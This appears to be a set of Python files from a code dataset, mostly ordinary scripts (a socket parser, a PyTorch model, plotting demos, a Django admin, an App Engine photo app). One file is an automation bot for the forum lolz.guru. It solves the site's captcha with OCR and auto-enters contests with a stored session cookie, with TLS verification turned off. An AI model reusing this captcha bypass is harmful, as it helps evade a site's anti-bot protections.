if not buffer:\n                return None\n\n            hbuffer += buffer\n            totalRecv += len(buffer)\n            sizeToRead -= len(buffer)\n\n        if totalRecv != 20:\n            return None\n\n        header = Header(hbuffer)\n\n        totalRecv = 0\n        bbuffer = bytes()\n        sizeToRead = header.BODYLEN\n\n        while sizeToRead > 0:\n            buffer = sock.recv(sizeToRead)\n            if not buffer:\n                return None\n\n            bbuffer += buffer\n            totalRecv += len(buffer)\n            sizeToRead -= len(buffer)\n\n        if totalRecv != header.BODYLEN:\n            return None\n\n        body = None\n\n        if header.MSGTYPE == Message.REQ_DATA_SEND:\n            body = BodyRequestDataSend(bbuffer)\n        elif header.MSGTYPE == Message.RESPONSE:\n            body = BodyResponse(bbuffer)\n        elif header.MSGTYPE == Message.DATA_SEND:\n            body = BodyData(bbuffer)\n        elif header.MSGTYPE == Message.REQ_DATA_SEND_RES:\n            body = BodyRequestDataSendResponse(bbuffer)\n        else:\n            raise Exception(\n                \"Unknown MSGTYPE : {0}\".format(header.MSGTYPE))\n\n        msg = Message.Message()\n        msg.Header = header\n        msg.Body = body\n\n        return msg","sub_path":"shse/network/socket/message.py","file_name":"message.py","file_ext":"py","file_size_in_byte":2507,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"70006274","text":"import numpy as np\nfrom torch import nn\nimport torch\nfrom torchvision import models, transforms, datasets\nimport torch.nn.functional as F\nimport pretrainedmodels\n\nimport pdb\n\n\nclass MainModel(nn.Module):\n    def __init__(self, backbone, use_dcl=True, numcls=4, use_Asoftmax=False):\n        super(MainModel, self).__init__()\n        self.use_dcl = use_dcl\n        self.num_classes = numcls\n        self.use_Asoftmax = use_Asoftmax\n\n        # self.model = backbone\n        # print(nn.Sequential(*list(backbone.children())[:-2]))\n        self.model = nn.Sequential(*list(backbone.children())[:-2])\n\n        self.avgpool = nn.AdaptiveAvgPool2d(output_size=1)\n        self.classifier = nn.Linear(2048, self.num_classes, bias=False)\n\n        if self.use_dcl:\n            self.classifier_swap = nn.Linear(2048, 2*self.num_classes, bias=False)\n            self.Convmask = nn.Conv2d(2048, 1, 1, stride=1, padding=0, bias=True)\n            self.avgpool2 = nn.AvgPool2d(2, stride=2)\n\n    def forward(self, x, last_cont=None):\n        x = self.model(x)\n        if self.use_dcl:\n            mask = self.Convmask(x)\n            mask = self.avgpool2(mask)\n            mask = torch.tanh(mask)\n            mask = mask.view(mask.size(0), -1)\n\n        x = self.avgpool(x)\n        x = x.view(x.size(0), -1)\n        out = []\n        out.append(self.classifier(x))\n\n        if self.use_dcl:\n            out.append(self.classifier_swap(x))\n            out.append(mask)\n\n        return out","sub_path":"models/DCL_for_resnet.py","file_name":"DCL_for_resnet.py","file_ext":"py","file_size_in_byte":1465,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"217511128","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Thu Sep 26 21:33:18 2019\r\n\r\n@author: Austin\r\n\"\"\"\r\n\r\nimport numpy as np\r\nfrom matplotlib import pyplot as pp\r\nB1= np.array([[144.465,0.00123169],[115.049,0.00134638],[49.026,0.00162924]])\r\n\r\nx1=B1[:,0]\r\ny1=B1[:,1]\r\n\r\nz1= np.polyfit(x1,y1,2)\r\n\r\n\r\nyb1= (z1[0]*x**2)+(z1[1]*x)+z1[2]\r\n\r\n\r\npp.plot(x1,y1,':',color=('g'), label='V-vs-MM')\r\npp.title('Velocity vs Molar-Mass')\r\npp.xlabel('Molar-Mass(Kg/mol)')\r\npp.ylabel('Velocity')\r\npp.legend()\r\n\r\n\r\nprint(z1)\r\npp.show()\r\n\r\nmae=(1/27)*()","sub_path":"scripts/velocity v mm.py","file_name":"velocity v mm.py","file_ext":"py","file_size_in_byte":520,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"251119661","text":"#-*- coding: utf-8 -*- \nimport logging\nimport pytz\nfrom api.lib.error import *\nfrom api.lib.action import Action\nfrom api.conf.content_conf import *\nfrom api.conf.global_conf import *\nfrom api.action.web_get_belong_info import web_get_belong_info\n\nclass web_get_member(Action):\n\t\n\tlogger = logging.getLogger('api')\n\tparams_info = {\n\t\t'member_id': ['r', 'int']\n\t}\n\n\tdef __init__(self, request):\n\t\trequest_params = request['request']\n\t\tself.params = self.set_params_web(request_params, self.params_info)\n\n\tdef _get_member_info(self, member):\n\t\tmember_info = {}\n\t\tmember_info['id'] = int(member.id)\n\t\tmember_info['name'] = member.name\n\t\tmember_info['birth'] = member.birth\n\t\tmember_info['level'] = member.level\n\n\t\treturn member_info\n\n\tdef execute(self):\n\t\tself.member_dao = self.locator.getDAO('members')\n\n\t\tmember = self.member_dao.getVOfromID(self.params['member_id'])\n\t\n\t\tif member == None:\n\t\t\traise NO_EXIST_MEMBER(member_id=self.params['member_id'])\n\t\telse:\n\t\t\tmember_info = self._get_member_info(member)\n\n\t\t\treturn {'member_info' : member_info }\n","sub_path":"api/action/web_get_member.py","file_name":"web_get_member.py","file_ext":"py","file_size_in_byte":1049,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"54197287","text":"from django.contrib import admin\n\nfrom .models import Category, Tag, Post\n\n\nclass CategoryAdmin(admin.ModelAdmin):\n    \"\"\"Admin panel class for Category\"\"\"\n    list_display = ('name', 'language',)\n    list_filter = ('language',)\n    search_fields = ('name',)\n    prepopulated_fields = {\"slug\": (\"name\",)}\n\n\nclass TagAdmin(admin.ModelAdmin):\n    \"\"\"Admin panel class for Category\"\"\"\n    list_display = ('name', 'language',)\n    list_filter = ('language',)\n    search_fields = ('name',)\n    prepopulated_fields = {\"slug\": (\"name\",)}\n\n\nclass PostAdmin(admin.ModelAdmin):\n    \"\"\"Admin panel class for Post\"\"\"\n    exclude = ('author', 'is_promoted',)\n    date_hierarchy = 'created_on'\n    list_display = ('admin_image', 'title', 'category',  'author', 'language', 'created_on', 'modified_on', 'is_published', 'get_tags')\n    list_filter = ('category', 'tags', 'author', 'language', 'created_on', 'modified_on', 'is_published',)\n    search_fields = ('title', 'body')\n    prepopulated_fields = {\"slug\": (\"title\",)}\n\n    def save_model(self, request, obj, form, change):\n        \"\"\"Customize save method via admin panel save\"\"\"\n        if not change:\n            obj.author = request.user\n        obj.save()\n\n\nadmin.site.register(Category, CategoryAdmin)\nadmin.site.register(Tag, TagAdmin)\nadmin.site.register(Post, PostAdmin)","sub_path":"cenkerbulut/blog/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":1318,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"233536527","text":"import base64\nimport os\nimport re\nimport time\nimport datetime\nimport requests\nimport codecs\nimport json\n\nimport urllib3\nfrom bs4 import BeautifulSoup\nimport pytesseract\nfrom PIL import Image, UnidentifiedImageError\nfrom requests import RequestException\n\nurllib3.disable_warnings()\n\nPYTESSERACT_PATH = r'C:\\Program Files\\Tesseract-OCR\\tesseract'\npytesseract.pytesseract.tesseract_cmd = PYTESSERACT_PATH\n\n\ntry:\n    if len(open('session').read()) != 32:\n        os.remove('session')\nexcept:\n    pass\n\n\ndef get_current_time():\n    return datetime.datetime.now().strftime('%m.%d.%y %H:%M:%S')\n\n\nclass ImageWorker:\n    \"\"\"\n    Working with captcha image.\n    \"\"\"\n\n    def __init__(self):\n        \"\"\"Constructor\"\"\"\n        self.captcha_image_filename = 'captcha_image.jpg'\n        self.cropped_captcha_filename = 'cropped_captcha.jpg'\n\n    def convert_base64_to_image(self, image_in_base64):\n        \"\"\"\n        Convert base64 string to image file.\n        :param image_in_base64:\n        :return:\n        \"\"\"\n        image_in_base64 = str(image_in_base64).replace('data:image/jpeg;base64,', '')\n        image_data = base64.b64decode(image_in_base64)\n\n        # Save image as image file\n        with open(self.captcha_image_filename, 'wb') as file:\n            file.write(image_data)\n\n    def corp_image(self):\n        \"\"\"\n        Crop and save image.\n        :return:\n        \"\"\"\n        try:\n            # Open image\n            image_to_crop = Image.open(self.captcha_image_filename, 'r')\n            # Crop image\n            image = image_to_crop.crop((-1, 8, 65, 22))\n            # Save image\n            image.save(self.cropped_captcha_filename)\n        except UnidentifiedImageError as error:\n            raise(error)\n\n    def change_image_pixels(self):\n        \"\"\"\n        Change pixels to black or white.\n        If pixel RGB(32, 32, 32) close to black change to  RGB(0, 0, 0).\n        :return:\n        \"\"\"\n        try:\n            image = Image.open(self.cropped_captcha_filename, 'r')\n            pixels = list(image.getdata())\n            new_pixels_list = []\n            for rgb in pixels:\n                if rgb[0] < 160:\n                    rgb = (0, 0, 0)\n                if rgb[0] > 160:\n                    rgb = (255, 255, 255)\n                new_pixels_list.append(rgb)\n            image.putdata(new_pixels_list)\n            image.save(self.cropped_captcha_filename)\n        except UnidentifiedImageError as error:\n            raise error\n            print(error)\n\n    def image_to_string(self):\n        \"\"\"\n        Recognize text on image than convert to string via pytesseract library.\n        :return: Recognized string\n        \"\"\"\n        img = Image.open(self.cropped_captcha_filename)\n        config = '--psm 10 --oem 1 -c tessedit_char_whitelist=0123456789+?'\n        try:\n            return pytesseract.image_to_string(img, config=config)\n        except pytesseract.pytesseract.TesseractNotFoundError:\n            raise(\"Tesseract не установлен!\")\n            exit(-1)\n\n    def process_image(self, base64_string: str) -> str:\n        \"\"\"\n        Convert and get tex from image.\n        :param base64_string:\n        :return:\n        \"\"\"\n        self.convert_base64_to_image(base64_string)\n        self.corp_image()\n        self.change_image_pixels()\n        return self.image_to_string()\n\n\nclass LolzWorker:\n    \"\"\"\n    Lolz worker. Auto participate in contests.\n    \"\"\"\n\n    def __init__(self):\n        \"\"\"\n        Constructor.\n        \"\"\"\n        self.host = 'lolz.guru'\n        self.links = []\n        self.black_list = []\n        self.session = requests.Session()\n        self.ImageWorker = ImageWorker()\n        self.session.verify = False\n        self.session.headers = {'cookie':'xf_viewedContestsHidden=1;'}\n\n        try:\n            self.xf_session = open('session').read()\n            self.session.cookies['xf_session'] = self.xf_session\n            self.session.cookies['xf_viewedContestsHidden'] = '1'\n            self.session.cookies['xf_feed_custom_order'] = 'post_date'\n            self.session.cookies['xf_logged_in'] = '1'\n        except:\n            pass\n        self.session.headers = {\"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) \"\n                                              \"AppleWebKit/537.36 (KHTML, like Gecko) \"\n                                              \"Chrome/86.0.4240.75 Safari/537.36\"}\n        self.token = None\n\n\n    def get_captcha_image(self, page_html) -> str:\n        \"\"\"\n        Parse page and get captcha\n        :param page_html:\n        :return:\n        \"\"\"\n        try:\n            items = page_html.select('div[class=\"ddText\"]')\n            result_items = re.findall(r'\\\"data:image.*\\\"', str(items[0]))\n            result_items = str(result_items).replace(\"\\\"\", \"\")\n        except Exception as e:\n            raise e\n        else:\n            return result_items\n\n    def get_username(self, page_html) -> str:\n        try:\n            self.username = page_html.select('b[id=\"NavigationAccountUsername\"]')[0].contents[0]\n        except IndexError as e:\n            raise e\n        else:\n            return username\n\n    def get_captcha_hash(self, page_html) -> str:\n        try:\n            captcha_hash = page_html.select('input[name=\"captcha_question_hash\"]')[0]['value']\n        except IndexError as e:\n            raise e\n        else:\n            return captcha_hash\n\n    def get_csrf(self, page_html) -> str:\n        return page_html.split('_csrfToken: \"')[1].split('\"')[0]  # Переписать\n\n    def get_post_id(self, page_html) -> str:\n        try:\n            item = page_html.find_all('a', class_='item messageDateInBottom datePermalink hashPermalink '\n                                                  'OverlayTrigger muted')[0]\n            post_id = item.get('data-href')\n            return post_id.split('/')[1]\n        except IndexError as e:\n            raise e\n\n    def participate_in_contests(self):\n        \"\"\"\n        Participate in contests.\n        Get urls from page than open one by one.\n        :return:\n        \"\"\"\n\n        while True:\n            try:\n                self.links, page = self.get_contests_urls()\n                balance_value = self.get_balance(page)\n                os.system(\"title \" + f\"Username: {self.username} † Balance: {balance_value} † Developed by waslost\")\n\n\n                for link in self.links:\n                    if link not in self.black_list:\n                        print(f\"{get_current_time()}\")\n                        print(f'https://{self.host}/{link}')\n                        link = link.replace('unread', '')\n\n                        with self.session.get(f'https://{self.host}/{link}') as page_req:\n                            html_parse_bs = BeautifulSoup(page_req.text, 'html.parser')\n                            if not self.check_page(html_parse_bs, link):\n                                continue\n                            captcha_in_base64 = self.get_captcha_image(html_parse_bs)\n                            captcha_hash = self.get_captcha_hash(html_parse_bs)\n                            csrf = self.get_csrf(page_req.text)\n\n                        print('Решаю капчу...')\n                        captcha_text = self.ImageWorker.process_image(captcha_in_base64)\n                        captcha_result = self.parse_captcha_string(captcha_text)\n                        print(f'Капча: {str(captcha_text).strip()} = {str(captcha_result).strip()}')\n\n                        if captcha_result is None:\n                            print('Can`t recognize captcha.')\n                            continue\n                        self.set_df_id()\n                        data = {\n                            'captcha_question_answer': captcha_result,\n                            'captcha_question_hash': captcha_hash,\n                            '_xfRequestUri': link,\n                            '_xfNoRedirect': 1,\n                            '_xfToken': csrf,\n                            '_xfResponseType': 'json',\n                        }\n                        req = self.session.post(f'https://{self.host}/{link}participate', data=data).json()\n\n                        if '_redirectStatus' in req:\n                            print(f'Status: {req[\"_redirectStatus\"]}')\n                        else:\n                            print(f'Status: {req[\"error\"]}')\n\n                        print('_' * 50)\n                time.sleep(10)\n            except Exception as e:\n                print(\"Ошибка\", str(e))\n\n    @staticmethod\n    def parse_captcha_string(captcha_string: str):\n        \"\"\"\n        Get captcha string. Get two digits from string and\n        :param captcha_string:\n        :return: sum of numbers -> int\n        \"\"\"\n        try:\n            if captcha_string.find('?') != -1:\n                captcha_string = captcha_string[:captcha_string.find('?')]\n            list_digits = captcha_string.split('+')\n            if list_digits[1] == '':\n                return None\n            if int(list_digits[1]) > 25:\n                list_digits[1] = list_digits[1][0]\n\n        except (ValueError, IndexError) as error:\n            print('Cant recognize captcha')\n            print(error)\n        else:\n            return int(list_digits[0]) + int(list_digits[1])\n\n    def check_page(self, html_page, link):\n        if link not in self.black_list:\n            res = html_page.find('div', class_='error mn-15-0-0')\n            if res is not None:\n                print(res.text.strip())\n                self.black_list.append(link)\n                return False\n            elif html_page.find('label', class_='OverlayCloser') is not None:\n                print('Запрашиваемая тема не найдена.')\n                return False\n            elif html_page.find('input', class_='textCtrl OptOut') is None:\n                print('Вы участвуете в конкурсе.')\n                self.black_list.append(link)\n                return False\n            return True\n\n\ndef load_data_from_file():\n    try:\n        if not os.path.exists('data.txt'):\n            with codecs.open('data.txt', 'w', 'utf-8') as f:\n                f.write('USERNAME:PASSWORD')\n\n        with codecs.open('data.txt', 'r', 'utf-8') as f:\n            data = f.readlines()\n\n        data = data[0].split(':')\n    except KeyError as error:\n        print('Cannot find: %s', error.args[0])\n    else:\n        return data\n\n\nif __name__ == '__main__':\n    username, password = [item for item in load_data_from_file()]\n    lolz = LolzWorker()\n    if lolz.is_login():\n        print('Login successful')\n        lolz.participate_in_contests()\n    else:\n        print('Login fail')\n        if os.path.isfile('session'):\n            os.remove('session')\n        if not lolz.login(username, password):\n            print(\"Login fail...\")\n        else:\n            print('Login successful!')\n            open('session', 'w+').write(lolz.session.cookies.get(\"xf_session\"))\n\n            lolz.participate_in_contests()","sub_path":"NoProx/main_all.py","file_name":"main_all.py","file_ext":"py","file_size_in_byte":11002,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"639120662","text":"# -*- coding: utf-8 -*-\n\nimport os, sys\n\n\ndef configuration(parent_package='', top_path=None):\n    from numpy.distutils.misc_util import Configuration\n\n    config = Configuration('pyslide', parent_package, top_path)\n    config.add_subpackage('contour')\n    config.add_subpackage('patch')\n    config.add_subpackage('pyramid')\n\n    return config\n\n\nif __name__ == \"__main__\":\n    from numpy.distutils.core import setup\n\n    config = configuration(top_path='').todict()\n    setup(**config)\n","sub_path":"pyslide/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":486,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"228049880","text":"# coding: utf-8\nimport matplotlib.pyplot as plt\nimport numpy as np\n\n\ndef sinedemo():\n    ''' 正弦曲线'''\n    # 指定采样的范围以及样本的数量\n    x_values = np.linspace(0, 2 * np.pi, 1000)\n    # 计算每个样本对应的正弦值\n    y_values = np.sin(x_values)\n    # 绘制折线图(线条形状为--, 颜色为蓝色)\n    plt.plot(x_values, y_values, '--b')\n    plt.show()\n\n\ndef multipic():\n    ''' 多个图像'''\n    x_values = np.linspace(0, 2 * np.pi, 1000)\n    plt.plot(x_values, np.sin(x_values), '--b')\n    plt.plot(x_values, np.sin(2 * x_values), '--r')\n    plt.show()\n\n\ndef multicurve():\n    '''多个曲线'''\n    # 将样本数量减少为50个\n    x_values = np.linspace(0, 2 * np.pi, 50)\n    # 设置绘图为2行1列活跃区为1区(第一个图)\n    plt.subplot(2, 1, 1)\n    plt.plot(x_values, np.sin(x_values), 'o-b')\n    # 设置绘图为2行1列��跃区为2区(第二个图)\n    plt.subplot(2, 1, 2)\n    plt.plot(x_values, np.sin(2 * x_values), '.-r')\n    plt.show()\n\n\ndef histogramdemo():\n    # 通过random模块的normal函数产生1000个正态分布的样本\n    data = np.random.normal(10.0, 5.0, 1000)\n    # 绘制直方图(直方的数量为10个)\n    plt.hist(data, 10)\n    plt.show()\n\n\nif __name__ == '__main__':\n    # sinedemo()\n    # multipic()\n    # multicurve()\n    histogramdemo()\n","sub_path":"08machine/python79_matplotlib02.py","file_name":"python79_matplotlib02.py","file_ext":"py","file_size_in_byte":1335,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"633283053","text":"import csv\nimport sqlite3\n\nf = open('data/Antibiotic_CLSI.csv', 'r', encoding='utf-8')\ndata = csv.reader(f)\n\nconn = sqlite3.connect('data/database.db')\n\nsql_query = ''' INSERT INTO ANTIBIOTIC (CLASS_, ANTIBIOTIC, S, R)\\\n                VALUES (? , ?, ?, ?)'''\nfor row in data:\n#    print(row)\n    \n    class_ = row[0]\n    antibiotic = row[1]\n    s = row[2]\n    r = row[3]\n    conn.execute(sql_query, (class_, antibiotic, s, r))\n\nconn.commit()\nconn.close()","sub_path":"data/antibiotic_process.py","file_name":"antibiotic_process.py","file_ext":"py","file_size_in_byte":455,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"249483931","text":"import re\n\ndomain = 'racing.hkjc.com'\nurl_base = f\"http://{domain}/racing/information\"\nurl_template = url_base + \"/{0}/Racing/LocalResults.aspx?RaceDate={1}\"\nrace_date_url_pattern = re.compile(\".*RaceDate=(.{10}).*\")\nfull_url_pattern = re.compile(\n    \"/(Chinese|English)/Racing/LocalResults.aspx.*RaceDate=(.{10})(?:&Racecourse=(.*)&RaceNo=(.*))?\")\nrace_no_url_pattern = re.compile('.*RaceNo=.*')\ndata_dir = '/Users/arthur/Workspace/hkjc/data'\nraw_data_dir = f'{data_dir}/raw'\nscrapped_data_dir = f'{data_dir}/scrapped'\nhrefs_file = f'{scrapped_data_dir}/hrefs'\n","sub_path":"racing/racing/context/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":563,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"631516331","text":"#!/usr/bin/python3\n\ndef score(s,p,f,r):\n\n    cap = max(0,5*s-p-r)\n    dur = max(0,-s+3*p-f)\n    flav = 4*f\n    tex = 2*r\n\n    sc =  cap*dur*flav*tex\n    \n    if cap <= 0 or dur <= 0:\n        return 0\n\n\n    return sc\n\nmaxx = 0\n\nfor s in range(0,101):\n    for p in range(0,101):\n        if p+s>100:\n            continue\n        \n        for f in range(1,101):\n            if p+s+f>100:\n                continue\n            \n            for r in range(1,101):\n\n                if p+s+f+r!=100:\n                    continue\n                                \n                sc = score(s,p,f,r)\n                kcal = s*5+p+6*f+8*r\n                if sc>maxx and kcal==500:\n                    print(sc,s,p,f,r,kcal)\n                    maxx = sc\n\nprint (\"The answer to 2 is\",maxx)\n","sub_path":"2015/15/15b.py","file_name":"15b.py","file_ext":"py","file_size_in_byte":776,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"226287682","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\nimport os\nimport glob\n\ntopdircmake = \"\"\"\\\nfind_package(Gettext REQUIRED)\nif (NOT GETTEXT_MSGMERGE_EXECUTABLE)\nMESSAGE(FATAL_ERROR \"Please install msgmerge binary\")\nendif (NOT GETTEXT_MSGMERGE_EXECUTABLE)\nif (NOT GETTEXT_MSGFMT_EXECUTABLE)\nMESSAGE(FATAL_ERROR \"Please install msgmerge binary\")\nendif (NOT GETTEXT_MSGFMT_EXECUTABLE)\n\"\"\"\n\ncmd = \"svn co https://svn.kde.org/home/kde/trunk/l10n-kde4/%s/messages/playground-network %s\"\n\nlangs = [\"pl\", \"tr\", \"nl\", \"de\", \"es\", \"it\", \"fr\", \"pt_BR\", \"ca\", \"sv\"]\n\n\"\"\"\nos.makedirs(\"po-svn\")\nos.makedirs(\"po\")\n\nfor l in langs:\n    os.system(cmd % (l, l))\n\"\"\"\nos.chdir(\"po\")\nlangs = []\n\nfor line in os.popen(\"find -name 'kbluetooth*po'\").readlines():\n    langs.append(os.path.dirname(line).split(\"./\")[1])\n\nlangs = list(set(langs))\n\nfor d in [_d for _d in os.listdir(\".\") if _d not in langs]:\n    os.system(\"rm -rf %s\" % d)\n\nf = open(\"CMakeLists.txt\", \"w\")\nf.write(topdircmake)\n\nfor l in langs:\n    # Cleanup other po files\n    map(os.unlink, set(glob.glob(\"%s/*.po\" % l)).difference(glob.glob(\"%s/kbluetooth*.po\" % l)))\n\n    f.write(\"add_subdirectory(%s)\\n\" % l)\n    open(\"%s/CMakeLists.txt\" % l, \"w\").write(\"\"\"\\\nfile(GLOB _po_files *.po)\nGETTEXT_PROCESS_PO_FILES(%s ALL INSTALL_DESTINATION ${LOCALE_INSTALL_DIR} ${_po_files} )\n\"\"\" % l)\n\nf.close()\n\nos.chdir(\"..\")\n\nopen(\"translations.patch\", \"w\").write(os.popen(\"diff --exclude=.svn -Naur po-svn po\").read().strip()+'\\n')\n\nos.system(\"svn revert CMakeLists.txt\")\nf = open(\"CMakeLists.txt\", \"a+\").write(\"add_subdirectory(po)\\n\")\nos.system(\"svn diff CMakeLists.txt >> translations.patch\")\n","sub_path":"pardus/tags/2009-EOL/hardware/bluetooth/kdebluetooth/files/bring-translations.py","file_name":"bring-translations.py","file_ext":"py","file_size_in_byte":1617,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"277602068","text":"# -*- coding: utf8 -*- #\nfrom google.appengine.api import users\nfrom google.appengine.ext import webapp\nfrom tools.baserequest import BaseRequestHandler\nfrom tools.database import FotosDB, UsersDB\nfrom google.appengine.ext.db import GqlQuery\nimport urllib\nimport email\nimport cgi\nfrom google.appengine.api import images\nfrom google.appengine.ext import db\nfrom google.appengine.ext.webapp.util import login_required\nfrom tools.paging import Paging\nfrom tools.templatetags.user_filter import userfilter3\n\nclass Fotos(BaseRequestHandler):\n    @login_required\n    def get(self, ruser):\n        ruser = urllib.unquote(urllib.unquote(ruser))\n        if self.request.GET:\n            show = self.request.get('show')\n            if show == '':\n                show = 0\n            else:\n                show = Paging().Test_page(show)\n        else:\n            show = 0\n        show = int(show)\n        \n        nump = 12\n        if self.take_browser() == 'm/':\n            nump = 5\n\n        fotolist = GqlQuery(\"SELECT * FROM FotosDB WHERE user = '%s' ORDER BY date DESC\" % ruser)\n        paging = Paging().page(fotolist, show, num = nump)\n        fotolist = fotolist.fetch(nump, show)\n        \n\n        if ruser == users.get_current_user().nickname():\n            dell = True \n        else:\n            dell = False\n        \n        template_values = {\n            'upload_url':'/uploadfoto',\n            'table':self.table_create(fotolist),\n            'paging':paging,\n            'dell':dell,\n            'fotolist': fotolist,\n            }\n        if self.take_browser() == 'm/':\n            item = { }\n            template_values.update(item)\n        self.generate('fotos.index.html', template_values, razdel = '', logo = 'logo', title = 'Фотоальбом %s' % ruser);\n\n    def table_create(self, fotos):\n        if self.take_browser() == '/m':\n            return ''\n        from tools.templatetags.foto_filter import fotofilterpc\n        user = users.get_current_user().nickname()\n        n = 1\n        table = '<table><tr>'\n        for item in fotos:\n            if item.user == user:\n                dell_link = '<center><a class=\"button\" href=\"/delfoto/%s\">Да</a></center>' % item.key().id()\n                dell_text = \"<p>Вы действительно хотите удалить это изображение?</p>%s\" % dell_link\n                div = '<div id=\"del_foto_%s\" style=\"display:none;\">%s</div>' % (item.key().id(), dell_text)\n                dell = '<a class=\"button\" href=\"#del_foto_%s\" rel=\"facebox\" title=\"удалить\">x</a>' % item.key().id()\n                dell = dell + div \n            else:\n                dell = ''\n            table = table + '<td id=\"foto\"><table><tr><td style=\"width:150px;height:100px;\">' + str(fotofilterpc(item.key().id())) + ('</td></tr><tr><td><a class=\"button\" href=\"/fotoc/%s\" title=\"Открыть\">открыть</a> %s</td></tr></table></td>' % (item.key().id(), dell))\n            \n            if n % 4 == 0:\n                table = table + '</tr><tr>'\n            n = n + 1\n        table = table + '</tr></table>'\n        return '<div id=\"content\">' + table + '</div>'\n\n\nclass ShowFoto(webapp.RequestHandler):\n    def get(self, mode, ruser):\n        self.valid_chars = frozenset(\"0123456789\")\n        self.response.headers['Content-Type'] = \"image/png\"\n        no_valid = False\n        if ruser is int:\n            ruser = ruser\n        for n in ruser:\n            if n in self.valid_chars:\n                pass\n            else:\n                no_valid = True\n        if no_valid:\n            fname = 'img_m.txt'\n            img_f = open(fname, 'r')\n            image = img_f.read()\n            return self.response.out.write(image)\n        else:\n            ruser = urllib.unquote(urllib.unquote(ruser))\n            mode = urllib.unquote(urllib.unquote(mode))\n            foto_get = FotosDB.get_by_id(int(ruser))\n            if mode == 'big':\n                foto = foto_get.foto_big\n            elif mode == 'pc':\n                foto = foto_get.foto_pc\n            if mode == 'big':\n                foto = foto_get.foto_big\n            elif mode == 'mob':\n                foto = foto_get.foto_mob\n            if mode == 'big':\n                foto = foto_get.foto_big\n            elif mode == 'org':\n                foto = foto_get.foto\n            if foto:\n                return self.response.out.write(foto)\n            else:\n                fname = 'img_m.txt'\n                img_f = open(fname, 'r')\n                image = img_f.read()\n                return self.response.out.write(image)\n            \nclass DellFoto(webapp.RequestHandler):\n    def get(self, id):\n        id = urllib.unquote(urllib.unquote(id))\n        greetings = FotosDB.get_by_id(int(id))\n        if greetings.user == users.get_current_user().nickname():\n            greetings.delete()\n        else:\n            pass\n        return self.redirect('/fotos/%s' % users.get_current_user().nickname())\n\nclass UploadFoto(webapp.RequestHandler):\n    def post(self):\n        if users.get_current_user():\n            self.pc = 100\n            self.big = 500\n            self.mob = 50\n            self.max_size = 1024 * 1024\n            upload_files = self.request.get('foto')\n\n            if upload_files:\n                user = users.get_current_user()\n                usert = FotosDB()\n                image = upload_files\n                \n                img = images.Image(image)\n\n                if len(image) >= self.max_size:\n                    return self.redirect('/fotos/%s?msg=%s' % (users.get_current_user(), u'Max size 1MB'))\n\n                if img.width >= self.pc or img.height >= self.pc:\n                    foto_pc = images.resize(image, self.pc, self.pc)\n                else:\n                    foto_pc = image\n\n                if img.width >= self.mob or img.height >= self.mob:\n                    foto_mob = images.resize(image, self.mob, self.mob)\n                else:\n                    foto_mob = image\n\n                if img.width >= self.big or img.height >= self.big:\n                    foto_big = images.resize(image, self.big, self.big)\n                else:\n                    foto_big = image\n\n                usert.foto = db.Blob(image)\n                usert.foto_mob = db.Blob(foto_mob)\n                usert.foto_big = db.Blob(foto_big)\n                usert.foto_pc = db.Blob(foto_pc)\n                usert.user = user.nickname()\n                usert.put()\n        return self.redirect('/fotos/%s' % users.get_current_user())\n    \nclass FotosCom(BaseRequestHandler):\n    @login_required\n    def get(self, id):\n        id = urllib.unquote(urllib.unquote(id))\n        foto = FotosDB.get_by_id(int(id))\n        user = users.get_current_user().nickname()\n        if foto.user == user:\n            dell = True\n        else:\n            dell = False\n        template_values = {\n            'upload_url':'/uploadfoto',\n            'fotoid': id,\n            'fotoinf':foto,\n            #'paging':paging,\n            'dell':dell,\n            }\n        self.generate('fotos.foto.html', template_values, razdel = '', logo = 'logo', title = 'Фото %s' % id);\n        pass\n    \n    def post(self, id):\n        if users.get_current_user():\n            id = urllib.unquote(urllib.unquote(id))\n            foto = FotosDB.get_by_id(int(id))\n            user = users.get_current_user()\n            if foto.user == user.nickname():\n                dbuser = UsersDB.gql(\"WHERE user = '%s'\" % user.nickname())\n                usert = dbuser.get()\n                foto = foto.foto\n                avatar = images.resize(foto, 100, 100)\n                avatar_mob = images.resize(foto, 50, 50)\n                avatar_big = foto\n                usert.avatar = db.Blob(avatar)\n                usert.avatar_mob = db.Blob(avatar_mob)\n                usert.avatar_big = db.Blob(avatar_big)\n                usert.put()\n            pass\n        return self.redirect('/fotoc/%s' % id)\n        pass\n    \nclass FotosComAdd(BaseRequestHandler):\n    def get(self):\n        pass\n","sub_path":"fotobook.py","file_name":"fotobook.py","file_ext":"py","file_size_in_byte":8038,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
